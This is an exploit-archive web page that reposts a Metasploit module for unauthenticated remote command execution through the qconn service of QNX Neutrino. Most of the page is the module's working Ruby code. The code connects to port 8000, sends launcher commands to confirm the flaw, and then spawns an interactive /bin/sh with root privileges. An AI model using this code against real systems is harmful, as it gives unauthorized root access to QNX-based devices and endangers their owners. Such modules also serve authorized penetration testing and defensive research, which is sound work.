首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
QNX QCONN Remote Command Execution
来源:http://www.metasploit.com 作者:Odell 发布时间:2012-10-08  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info={})
		super(update_info(info,
			'Name'           => "QNX QCONN Remote Command Execution Vulnerability",
			'Description'    => %q{
				This module exploits a vulnerability in the qconn component of
				QNX Neutrino which can be abused to allow unauthenticated users to
				execute arbitrary commands under the context of the 'root' user.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'David Odell', # Discovery
					'Mor!p3r <moriper[at]gmail.com>', # PoC
					'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
				],
			'References'     =>
				[
					['EDB',   '21520'],
					['URL',   'http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos'],
					['URL',   'http://www.qnx.com/developers/docs/6.3.0SP3/neutrino/utilities/q/qconn.html'],
				],
			'Payload'        =>
				{
					'BadChars'    => '',
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd_interact',
							'ConnectionType' => 'find',
						},
				},
			'DefaultOptions'  =>
				{
					'WfsDelay' => 10,
					'PAYLOAD'  => 'cmd/unix/interact',
				},
			'Platform'       => 'unix',    # QNX Neutrino
			'Arch'           => ARCH_CMD,
			'Targets'        =>
				[
					# Tested on QNX Neutrino 6.5 SP1
					['Automatic Targeting', { 'auto' => true }]
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Sep 4 2012',
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(8000)
			], self.class)
	end

	def check

		@peer = "#{rhost}:#{rport}"

		# send check
		fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4)
		print_status("#{@peer} - Sending check")
		connect
		req  = "service launcher\n"
		req << "start/flags run /bin/echo /bin/echo #{fingerprint}\n"
		sock.put(req)
		res  = sock.get
		disconnect

		# check response
		if    res and res =~ /#{fingerprint}/
			return Exploit::CheckCode::Vulnerable
		elsif res and res =~ /QCONN/
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Unknown
		end

	end

	def exploit

		@peer = "#{rhost}:#{rport}"

		# send payload
		req  = "service launcher\n"
		req << "start/flags run /bin/sh -\n"
		print_status("#{@peer} - Sending payload (#{req.length} bytes)")
		connect
		sock.put(req)
		res  = sock.get

		# check response
		if res and res =~ /No controlling tty/
			print_good("#{@peer} - Payload sent successfully")
		else
			print_error("#{@peer} - Sending payload failed")
		end
		handler
		disconnect

	end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·InduSoft Web Studio Arbitrary
·Windows Escalate UAC Protectio
·NCMedia Sound Editor Pro 7.5.1
·Microsoft Office Excel 2003 St
·MS11-080 AfdJoinLeaf Privilege
·Dart Communications Stack Over
·FastStone Image Viewer 4.6 <=
·Microsoft IIS 5.0/6.0 FTP Serv
·HCView WriteAV Crash PoC
·Hiro Player 1.6.0 (.mp3) Local
·JPEGsnoop <= 1.5.2 WriteAV Cra
·Avaya WinPMD UniteHostRouter B
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved